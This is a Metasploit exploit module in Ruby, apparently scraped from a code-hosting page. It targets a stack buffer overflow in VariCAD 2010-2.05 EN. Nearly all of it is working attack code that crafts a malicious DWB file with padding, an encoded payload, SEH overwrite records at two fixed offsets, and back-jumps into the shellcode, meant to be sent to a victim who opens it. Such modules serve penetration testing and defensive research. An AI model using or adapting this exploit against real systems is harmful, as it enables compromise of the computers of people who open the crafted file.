81 lines
2.3 KiB
Ruby
81 lines
2.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'VariCAD 2010-2.05 EN (DWB File) Stack Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack-based buffer overflow in VariCAD 2010-2.05 EN.
|
|
An attacker must send the file to victim and the victim must open the file.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'n00b', # first public exploit
|
|
'dookie', # metasploit first pass
|
|
'MC', # cleanup pass 1 & second offset
|
|
'jduck' # cleanup pass 2 & combined offsets
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '63067' ],
|
|
[ 'BID', '38815' ],
|
|
[ 'EDB', '11789' ]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x0a\x3d",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
'DisablePayloadHandler' => 'true',
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows Universal', { 'Ret' => 0x00401425 } ], #p/p/r in varicad-i386.exe
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Mar 17 2010',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILENAME', [ true, 'The file name.', 'msf.dwb']),
|
|
])
|
|
end
|
|
|
|
def exploit
|
|
|
|
header = "\x34\x87\x01\x00\x00\x00\x00\x00\x25\x5c\x1f\x85"
|
|
sploit = rand_text_alpha_upper(1000) * 50
|
|
|
|
# Add SEH frames..
|
|
seh = generate_seh_record(target.ret)
|
|
offsets = [ 26252, 22856 ]
|
|
sploit[0,payload.encoded.length] = payload.encoded
|
|
offsets.each { |off|
|
|
sploit[off,seh.length] = seh
|
|
distance = seh.length + off
|
|
jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
|
|
sploit[off+seh.length,jmp.length] = jmp
|
|
}
|
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
|
|
|
file_create(header + sploit)
|
|
|
|
end
|
|
end
|